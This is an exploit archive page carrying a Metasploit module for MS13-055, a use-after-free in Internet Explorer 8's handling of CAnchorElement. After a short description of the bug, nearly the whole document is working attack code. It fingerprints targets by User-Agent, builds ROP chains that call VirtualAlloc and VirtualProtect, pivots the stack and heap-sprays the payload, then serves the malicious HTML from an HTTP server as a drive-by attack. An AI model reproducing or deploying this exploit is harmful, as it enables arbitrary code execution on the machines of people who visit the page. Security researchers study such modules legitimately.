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MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free

MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free
Posted Sep 9, 2013
Authored by Peter Vreugdenhil, sinn3r, Orange Tsai | Site metasploit.com

In IE8 standards mode, it's possible to cause a use-after-free condition by first creating an illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being a sub table element. When the CPhraseElement's outer content is reset by using either outerText or outerHTML through an event handler, this triggers a free of its child element (in this case, a CAnchorElement, but some other objects apply too), but a reference is still kept in function SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next functions, eventually used in mshtml!CElement::Doc when it's trying to make a call to the object's SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take advantage of this by first creating an CAnchorElement object, let it free, and then replace the freed memory with another fake object. Successfully doing so may allow arbitrary code execution under the context of the user. This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.

tags | exploit, arbitrary, code execution
MD5 | 74b6b32915819574e8ce5b7d01bc1f60

MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
'Description' => %q{
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.

This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Orange Tsai', # Original discovery, PoC
'Peter Vreugdenhil', # Joins the party (wtfuzz)
'sinn3r' # Joins the party
],
'References' =>
[
[ 'MSB', 'MS13-055' ],
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :msvcrt,
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
'Align' => 0x77c4d801 # add esp, 0x2c; ret
}
],
[
'IE 8 on Windows 7',
{
'Rop' => :jre,
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Jul 09 2013",
'DefaultTarget' => 0))
end

def get_target(agent)
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end

nil
end

def get_payload(t, cli)
rop = ''
code = payload.encoded
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000

case t['Rop']
when :msvcrt
# Stack adjustment # add esp, -3500
esp_align = "\x81\xc4\x54\xf2\xff\xff"

print_status("Using msvcrt ROP")
rop =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
else
print_status("Using JRE ROP")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0xffffffff,
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
# rop chain generated with mona.py
].pack("V*")
end

rop_payload = rop
rop_payload << esp_align
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt

rop_payload
end

def junk
rand_text_alpha(4).unpack("V")[0].to_i
end

def nop
make_nops(4).unpack("V")[0].to_i
end

def get_html(t, p)
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
js_payload = Rex::Text.to_unescape(p)
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
js_junk = Rex::Text.to_unescape([junk].pack("V*"))

q_id = Rex::Text.rand_text_alpha(1)

html = %Q|
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
</head>
<script>
#{js_mstime_malloc}

window.onload = function() {
var x = document.getElementById("#{q_id}");
x.outerText = "";
a = document.getElementById('myanim');

p = '';
for (i=0; i < 7; i++) {
p += unescape("#{js_junk}");
}
p += unescape("#{js_payload}");

fo = unescape("#{js_align}");
for (i=0; i < 28; i++) {
if (i == 27) { fo += unescape("#{js_pivot}"); }
else { fo += unescape("#{js_align}"); }
}

fo += p;

mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
}
</script>
<table>
<tr>
<div>
<span>
<q id='#{q_id}'>
<a>
<td></td>
</a>
</q>
</span>
</div>
</tr>
</table>
<t:ANIMATECOLOR id="myanim"/>
</html>
|

html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
t = get_target(agent)

if t
p = get_payload(t, cli)
html = get_html(t, p)
print_status("Sending exploit...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
else
print_error("Not a suitable target: #{agent}")
send_not_found(cli)
end
end
end

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